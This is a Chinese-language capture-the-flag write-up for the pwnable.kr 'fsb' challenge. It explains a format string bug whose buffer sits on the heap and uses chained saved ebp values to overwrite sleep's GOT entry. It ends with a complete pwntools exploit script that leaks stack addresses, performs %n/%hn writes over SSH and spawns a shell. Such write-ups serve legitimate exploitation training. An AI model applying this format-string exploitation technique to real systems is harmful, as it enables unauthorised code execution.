pwnable 笔记 Rookiss - fsb - 20 pt
2016-12-17 14:50
225 查看
题目源码
题目分析
程序逻辑很简单,main函数随机生成
key,然后调用
fsb函数。
fsb中判断用户输入的值和
key是否相等,相等则
execve("/bin/sh\0",0,0);,程序结构如下图:
看下源代码,
fsb函数中前面两个for循环没啥卵用,用于清除用户输入的参数和程序的工作环境,第3个for循环里有明显的格式化字符串漏洞:
格式化字符串漏洞发生在栈中,利用方式以下几种:
修改变量的值,绕过认证
覆写GOT表
修改栈中保存的返回地址
在这道题中,格式化字符串
buf存储在堆中,也就是说我们输入的内容不会出现在栈里,因此不能通过向栈中写入地址的方式进行攻击,不过我们可以利用栈中已有的值进行攻击。
用
GDB查看一下调用
printf时栈的布局,如下图:
可以看到,我们输入的值
AAAABBBBCCCCDDDD保存在
0x804a100中,是
printf的第一个参数;
esp+72和
esp+76处存放的分别是
main函数的
ebp和
fsb函数的返回地址。
函数在被调用的时候先将原函数的
ebp保存到栈中,在跳转至被调用函数的内部;返回时先将当前
ebp恢复为原函数的
ebp,再跳转回到原函数中。也就是说,栈中保存的
ebp永远指向原函数
ebp,它是一个链式的结构。
举个栗子,我们记
funcA()的ebp为
ebpA,
funcB()函数的ebp为
ebpB,
funcC()函数的ebp为
ebpC。
假如我们在
funcA()中调用
funcB(),
funcB()中又调用了
funcC(),那么:
保存在
funcC()栈桢中的
ebp为:
ebpC –> ebpB –> ebpA –> ? (?为调用funcA的函数的ebp)
保存在
funcB()栈桢中的
ebp为:
ebpB –> ebpA –> ? (?为调用funcA的函数的ebp)
保存在
funcA()栈桢中的
ebp为:
ebpA –> ? (?为调用funcA的函数的ebp)
回到题目中,
printf将执行时,
esp+72处是的
fsb函数的
ebp,它指向
main的
ebp
ebp(fsb) –> ebp(main) –> 0x0
我们计算一下偏移量,
72 / 4 = 18,对应的是
printf的第18个参数,也就是说我们可以通过输入
%88888c%18$n来修改
ebp(main)处的值为
888888:
ebp(fsb) –> ebp(main) –> 88888
同理,我们也可以修改
ebp(main)指向的值为GOT表中函数的地址:
现在只需要找到
ebp(main)与
esp(fsb)之间的偏移量
offset,便可以通过
"%%%d$n" % (offset)来覆写GOT表了。
由于这个偏移量不是固定的,我们需要通过格式化字符串漏洞泄露一下
ebp(fsb)和
ebp(main)的地址,以上图为例:
esp(fsb) = 0xfff68f90
ebp(main) = 0xfff69378
offset = (0xfff69378 - 0xfff68f90) / 4 = 250
ebp(main)可以通过
%18$08x泄露,而
esp(fsb)可以通过栈中的某些值确定,比如
esp+56处的值指向
0xfff68fe0,这个值和
esp(fsb)刚好相差
0x50。
解题思路
利用格式化字符串漏洞改写sleep函数的GOT表,使程序调用
sleep函数时,执行
execve("/bin/sh\0",0,0);
解题过程
泄露main函数ebp和
fsb函数的esp计算偏移量offset
修改
main函数ebp指向的值为
sleep在GOT表中的地址
修改
sleep在GOT表中的地址为
0x080486ab(
execve("/bin/sh\0",0,0);)
触发
sleep函数,得到shell
解题脚本
#!/usr/bin/python from pwn import * # context.log_level = 'debug' # p = process('fsb') p = ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb') # log.success("recv: " + p.recv(8)) sleep_got = 0x0804a008 shell = 0x080486ab raw_input("#####################1########################") payload = "%14$08x%18$08x" # gdb.attach(p,"b *0x8048610") p.recvuntil('(1)\n') p.sendline(payload) esp = int(p.recv(8),16) - 0x50 ebp = int(p.recv(8),16) offset = (ebp - esp) / 4 log.success("esp = " + hex(esp)) log.success("ebp = " + hex(ebp)) log.success("offset = " + str(offset)) raw_input("#####################2########################") payload = "%%%dc"%(sleep_got) + "%18$n" p.recvuntil('(2)\n') p.sendline(payload) raw_input("#####################3########################") payload = ("%%%dc"%(shell&0xffff)) + "%%%d$hn"%(offset) #p.recvuntil('(3)\n') sleep(3) p.sendline(payload) raw_input("#####################4########################") payload = "AAAAAAAA" p.recvuntil('(4)\n') p.sendline(payload) raw_input("#####################x########################") sleep(4) p.interactive()
More
ebp–>
ebp–>
ebp–>
ebp–>
ebp–>
ebp–>
ebp–>
bingo!
相关文章推荐
- pwnable 笔记 Rookiss - brain fuck - 150 pt
- pwnable 笔记 Rookiss - simple login - 50 pt
- pwnable学习笔记-fsb
- Asp.Net Ajax 学习笔记20 ASP.NET AJAX的全球化与本地化功能
- X Window研究笔记(20)
- X Window研究笔记(20)
- X Window研究笔记(20)
- X Window研究笔记(20)
- [原创]Spring: A Developer's Notebook笔记和小结(20)
- X Window研究笔记(20)
- X Window研究笔记(20)
- 程序员补课笔记(20)
- asp.net20自定义配置节学习笔记(二)
- C#面向对象设计模式纵横谈 学习笔记20 Chain of Responsibility职责链模式(行为型模式)
- ASP.NET20 自定义配置节学习笔记(一)
- X Window研究笔记(20)
- Java版 选择排序 -Java 学习笔记 (20)
- X Window研究笔记(20)
- X Window研究笔记(20)
- 孙鑫教学视频笔记(20)Hook